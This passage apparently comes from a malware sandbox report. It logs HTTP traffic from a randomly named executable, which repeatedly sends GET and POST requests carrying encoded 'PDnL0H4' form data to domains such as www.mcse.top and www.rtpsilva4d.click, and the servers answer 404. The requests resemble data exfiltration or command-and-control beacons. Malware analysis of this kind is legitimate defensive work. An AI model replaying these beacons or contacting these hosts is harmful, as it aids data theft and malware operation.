                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 47 77 41 59 46 4d 33 2f 36 4a 67 46 61 32 49 64 48 36 65 4d 52 6a 52 36 61 6d 78 62 61 37 66 43 49 69 33 62 57 53 68 32 44 51 46 76 4a 63 53 38 61 47 6f 31 73 52 33 58 39 4e 6a 6f 62 38 32 76 4b 41 46 54 39 6e 6a 67 4b 50 70 6b 31 6a 67 7a 36 65 67 65 68 57 65 31 38 51 68 71 6e 53 4d 4a 45 31 65 35 68 77 30 44 75 70 48 38 4b 59 33 50 34 38 2f 2b 39 39 48 35 59 36 7a 42 46 35 53 6b 77 32 77 2f 36 74 75 7a 77 30 75 61 70 64 61 69 72 49 2b 6e 6c 4a 4f 37 68 38 2f 46 4f 45 30 53 58 67 45 44 66 45 59 2b 78 51 57 65 37 63 6d 7a 38 2b 77 6e 7a 6a 2f 44 72 75 47 35 72 48 77 6f 33 55 72 49 65 75 68 46 35 41 6e 6b 38 4d 41 68 78 79 5a 64 58 52 4f 34 33 72 33 4d 4c 69 49 65 35 77 69 6f 78 4f 38 6d 57 6e 4e 65 38 67 7a 61 69 73 33 68 46 30 44 37 33 37 79 64 6e 41 70 65 42 51 68 51 6c 47 6c 75 57 7a 68 41 2f 55 34 79 6f 7a 33 75 43 39 6b 32 64 65 45 30 6f 6e 39 78 78 4b 33 78 57 4c 51 6d 77 62 68 4d 43 63 37 6b 66 67 31 31 68 66 56 55 69 44 36 65 51 53 [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=2QQI6K98ll10GwAYFM3/6JgFa2IdH6eMRjR6amxba7fCIi3bWSh2DQFvJcS8aGo1sR3X9Njob82vKAFT9njgKPpk1jgz6egehWe18QhqnSMJE1e5hw0DupH8KY3P48/+99H5Y6zBF5Skw2w/6tuzw0uapdairI+nlJO7h8/FOE0SXgEDfEY+xQWe7cmz8+wnzj/DruG5rHwo3UrIeuhF5Ank8MAhxyZdXRO43r3MLiIe5wioxO8mWnNe8gzais3hF0D737ydnApeBQhQlGluWzhA/U4yoz3uC9k2deE0on9xxK3xWLQmwbhMCc7kfg11hfVUiD6eQSIoRu9Ua6GoyBECGhT/bPSrkWaW45h86kSTZtv4McI+3SvbQMUBMXrnC10RzEarmhF4tb0NTJYox0gA9yp4dAAwOAIx2g3LU16jhpFnIZTMUPopfr68MNTyjQU/apRRVCZI6cDtDi2bmZR3wrV+vyaiQWxczTjCefZjFmibPpgUW15wib3Uyy7hPOvqi+sqBtvNYW9svZCZWw8EDFzGBr1cP0wJ7D6tTtMKT0fi3qJmuCXfhXt9WpJIj835BnXONiLcJTkhxIu+r9R6Lh2IrlSHnRPLiYdjfMTFHGlM5pkeMp5uVgsh2WZmEwwghrD8eI1m4WOtgHOUv+J67IatkzOe1ZxZTKMtFL/gMCDFeQyrVqwnW/e5YPbPsCqDntECjYgFMCFNIaVqfV+1Y5OCMaj0+5iTiZNiE6BVSY56Qe9AEPLC2LDdyeUPGpnvAP92XLJyoMK1sZLgH/F881Pc2iIIBu2ZCDNsZa+HlW1AyOfLUMzUn8bJsFV2UBmauXOMRJBRQHL5rVAQsDiLokILumjudVA5xHU4yK8lj4ksmNWS1qJ6UXqAzjH3zX3DaowA37NULDdi0ygy0bW6PdkOZ/65aRGjKfCF3GSn5wsBHR1tLwawPNfkGMcw1xFE45AA2O8qll9lITBjttQu1QhV/tb8PbIGRCIQImd2 [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:17:07.370565891 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:07 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              Content-Length: 315
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                              Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              12192.168.2.74971867.223.117.169806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:09.355076075 CEST510OUTGET /zctj/?PDnL0H4=7S4o5+ZCgT4OODwfFpG+s4wiCFAnOZCzfRxqRVdrbobbRD+6SGggBBocUcamamM0rj3t2K/sItShBC5e9jOvPMFc8Ts9kNN+wHKhjSFFlD0pLjr7njpBm/yeBJ+c4s7d7sPpMprzB4Pv&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.rtpsilva4d.click
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:17:09.917254925 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:09 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              Content-Length: 315
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                              Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              13192.168.2.749719154.9.228.56806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:15.713336945 CEST758OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.mcse.top
                                                                                                                                                                              Origin: http://www.mcse.top
                                                                                                                                                                              Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4b 67 73 78 78 75 4a 50 4f 39 50 59 61 42 59 5a 7a 50 77 4f 4e 76 45 4c 4d 63 4f 43 56 46 42 44 54 39 4b 74 45 53 47 76 6e 49 7a 52 56 51 42 59 4e 57 61 53 37 72 4d 43 77 4d 6f 73 32 68 56 4c 45 78 68 53 4a 51 7a 30 37 72 55 69 62 34 76 71 54 65 77 6c 6e 75 6c 2f 66 50 34 49 33 6d 53 32 67 73 41 36 6c 62 59 44 6d 35 46 4f 34 73 35 44 39 55 30 53 46 79 2b 53 45 76 37 6d 31 66 2f 51 59 38 53 35 35 54 73 6e 6c 76 79 6f 64 50 64 44 44 68 59 38 2b 77 2b 71 59 72 45 59 6a 38 50 33 61 39 75 53 30 52 4e 79 66 62 6b 42 38 55 36 34 4e 65 54 47 6f 38 56 72 32 73 78 59 4f 73 6c 41 53 65 2f 6b 53 51 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=bAyzHe1mJU59KgsxxuJPO9PYaBYZzPwONvELMcOCVFBDT9KtESGvnIzRVQBYNWaS7rMCwMos2hVLExhSJQz07rUib4vqTewlnul/fP4I3mS2gsA6lbYDm5FO4s5D9U0SFy+SEv7m1f/QY8S55TsnlvyodPdDDhY8+w+qYrEYj8P3a9uS0RNyfbkB8U64NeTGo8Vr2sxYOslASe/kSQ==
                                                                                                                                                                              Oct 2, 2024 15:17:16.276119947 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:16 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 548
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              14192.168.2.749720154.9.228.56806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:18.259924889 CEST778OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.mcse.top
                                                                                                                                                                              Origin: http://www.mcse.top
                                                                                                                                                                              Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4c 45 51 78 39 74 52 50 48 39 50 62 45 78 59 5a 6f 66 77 43 4e 75 34 4c 4d 64 4c 66 57 33 31 44 54 59 4f 74 46 51 75 76 71 6f 7a 52 53 67 42 64 44 32 61 64 37 72 51 4b 77 4e 55 73 32 68 78 4c 45 77 52 53 4a 6a 72 72 36 37 55 73 4f 6f 76 6f 58 65 77 6c 6e 75 6c 2f 66 50 46 6a 33 6c 69 32 67 63 77 36 6b 2b 6b 45 35 4a 46 4a 73 38 35 44 33 30 31 62 46 79 2b 77 45 71 61 4a 31 64 33 51 59 39 69 35 35 69 73 6d 75 76 79 78 41 66 63 54 48 77 74 71 32 79 71 58 63 64 51 43 75 76 54 51 53 72 7a 77 75 7a 42 65 42 4b 63 36 34 57 65 4f 61 34 4f 7a 71 39 52 7a 37 4f 46 35 52 62 41 71 66 4d 65 67 45 69 43 31 59 59 35 59 56 72 37 47 6d 70 67 4f 77 4c 4f 35 4d 75 55 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=bAyzHe1mJU59LEQx9tRPH9PbExYZofwCNu4LMdLfW31DTYOtFQuvqozRSgBdD2ad7rQKwNUs2hxLEwRSJjrr67UsOovoXewlnul/fPFj3li2gcw6k+kE5JFJs85D301bFy+wEqaJ1d3QY9i55ismuvyxAfcTHwtq2yqXcdQCuvTQSrzwuzBeBKc64WeOa4Ozq9Rz7OF5RbAqfMegEiC1YY5YVr7GmpgOwLO5MuU=
                                                                                                                                                                              Oct 2, 2024 15:17:18.850733042 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:18 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 548
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              15192.168.2.749721154.9.228.56806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:20.805764914 CEST1791OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.mcse.top
                                                                                                                                                                              Origin: http://www.mcse.top
                                                                                                                                                                              Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4c 45 51 78 39 74 52 50 48 39 50 62 45 78 59 5a 6f 66 77 43 4e 75 34 4c 4d 64 4c 66 57 33 4e 44 53 75 79 74 44 33 61 76 6c 49 7a 52 52 67 42 63 44 32 61 36 37 72 49 4f 77 4e 59 53 32 6a 35 4c 43 57 46 53 50 53 72 72 7a 37 55 73 57 59 76 70 54 65 77 4b 6e 75 31 7a 66 4f 35 6a 33 6c 69 32 67 65 59 36 6a 72 59 45 2f 4a 46 4f 34 73 35 35 39 55 30 2b 46 79 32 4b 45 71 57 6a 32 73 58 51 5a 64 79 35 71 77 55 6d 79 2f 79 6b 54 76 64 57 48 77 77 30 32 79 32 74 63 64 4d 6b 75 74 44 51 52 38 2b 78 2f 42 42 4b 54 61 4e 67 2b 32 4f 78 58 59 61 48 74 62 52 75 37 35 70 71 51 70 35 4f 58 65 53 36 4e 48 44 53 4e 62 45 76 52 59 62 49 71 76 56 68 71 36 4f 64 50 37 73 50 51 56 4e 2f 74 2f 42 70 5a 4b 71 4f 77 6f 63 52 34 32 59 32 4c 67 71 74 52 56 76 31 51 4f 75 55 64 77 64 37 66 63 2b 49 42 4b 36 74 5a 76 69 42 54 42 35 6a 6a 4e 46 35 6b 79 44 48 68 77 2b 56 62 31 38 65 58 67 6c 6f 35 4b 54 75 2f 6f 4f 59 41 6a 4c 4b 65 7a 4e 76 43 4a 65 43 69 71 4a 37 41 33 [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=bAyzHe1mJU59LEQx9tRPH9PbExYZofwCNu4LMdLfW3NDSuytD3avlIzRRgBcD2a67rIOwNYS2j5LCWFSPSrrz7UsWYvpTewKnu1zfO5j3li2geY6jrYE/JFO4s559U0+Fy2KEqWj2sXQZdy5qwUmy/ykTvdWHww02y2tcdMkutDQR8+x/BBKTaNg+2OxXYaHtbRu75pqQp5OXeS6NHDSNbEvRYbIqvVhq6OdP7sPQVN/t/BpZKqOwocR42Y2LgqtRVv1QOuUdwd7fc+IBK6tZviBTB5jjNF5kyDHhw+Vb18eXglo5KTu/oOYAjLKezNvCJeCiqJ7A3lhYWB96IilJ9Gv9mqc4Ja4ui5gpc6zIWmgm4Ki/Pp88ryJwRmKAz/96u/oB3iYt/v/kJ8sJ9nLocafLfgm4Ew1ESSepSPlFmeH71LVQYzobnxvm6LVdGXIoWlFpxuRcjOklkxnmxqz6Z+TreQo88mmN3g5MHC1Bu5vqe7V0hGPUcjeV2IceU5ku/HIY0zxG7G5bi6v3ay9RBxbRHtYc7MNNjf2V1/pKgmNzU703Jz//9tq0F3ZC+qonz1+pfcA/1Yd0YDFlnbuGX6iPDC+3FQjrJabfNtgdYomrD5Cls4QQE7IoCt6cVeGVdfNz/FFxhK3oTNnQP9Z5ko0zWBHJ1uQkuhoRD4Dkt6kQbY013HlV2ZTcAhZil44jK0q0Xt7PVEEnG+T0bgz2x81GRB3nWgc3Jm5C09lwIUhSLch+6TrpKeJuvNzomjfP02t4Mue3Qo1EdpDZWCGtDAnj9TxYQJoJcVFXC0EoCedDtXGcFpMchUJdO1ijKysa9GEhFyOP7WzHXiZeICspfzoM6qAnR0a21Iew2BR2XbwH3FVwUDFm+Isae9nBdEpS+dgJQ5JAMQC/dkBTGRfezSLYoOGbx3o7yzWGcxlgyLsVIiJu2QtRQbTyynKVQAvr8BfibhPSM+4tf1u0BYPNFSjQnZSRD4lMVfG0aCkOQHt [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:17:21.390862942 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:21 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 548
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              16192.168.2.749722154.9.228.56806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:23.375408888 CEST502OUTGET /kyiu/?PDnL0H4=WCaTEpVIV1F/IDd5xet0U/v8EBgR4+MrBcMWAOPreHJieMqZHDOJq6LkbwJNcnm0/KUex7YRpxZmHiJXClvi8IQXQojzYPwJ0us3fopYznmqkr1xoIt7ztcwmZJFiE0pdwe7fNqg6tit&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.mcse.top
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:17:24.061463118 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:23 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 548
                                                                                                                                                                              Connection: close
